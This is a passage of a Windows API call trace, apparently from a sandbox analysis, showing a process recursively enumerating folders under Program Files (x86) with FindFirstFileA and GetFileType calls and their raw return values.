lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.620] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.622] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.622] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x82f838, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.625] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.627] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.628] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.630] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.631] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.634] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.635] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.638] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.639] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee767b20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee767b20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.642] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.644] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.646] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.649] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.651] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.654] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee78dc80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee78dc80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.656] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7b3de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7b3de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.665] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7b3de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7b3de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.668] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7b3de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7b3de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.669] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7b3de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7b3de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.672] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7d9f40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7d9f40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.676] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7d9f40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7d9f40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.679] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7d9f40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7d9f40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.681] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7d9f40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7d9f40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.682] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7d9f40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7d9f40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.696] GetFileType (hFile=0xc4) returned 0x1 [0126.698] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee8000a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8000a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.708] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee826200, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee826200, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.713] GetFileType (hFile=0xc4) returned 0x1 [0126.715] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee826200, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee826200, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.716] GetFileType (hFile=0xd4) returned 0x1 [0126.718] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee826200, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee826200, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.719] GetFileType (hFile=0xd4) returned 0x1 [0126.723] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee84c360, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee84c360, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.777] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee8be780, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8be780, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.781] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee8e48e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8e48e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.782] GetFileType (hFile=0xc4) returned 0x1 [0126.783] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee8e48e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8e48e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.783] GetFileType (hFile=0xd4) returned 0x1 [0126.784] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee8e48e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8e48e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.789] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee8e48e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8e48e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.794] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee8e48e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee8e48e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.797] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee90aa40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee90aa40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.800] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee90aa40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee90aa40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.801] GetFileType (hFile=0xd4) returned 0x1 [0126.802] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee90aa40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee90aa40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.803] GetFileType (hFile=0xd4) returned 0x1 [0126.804] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | 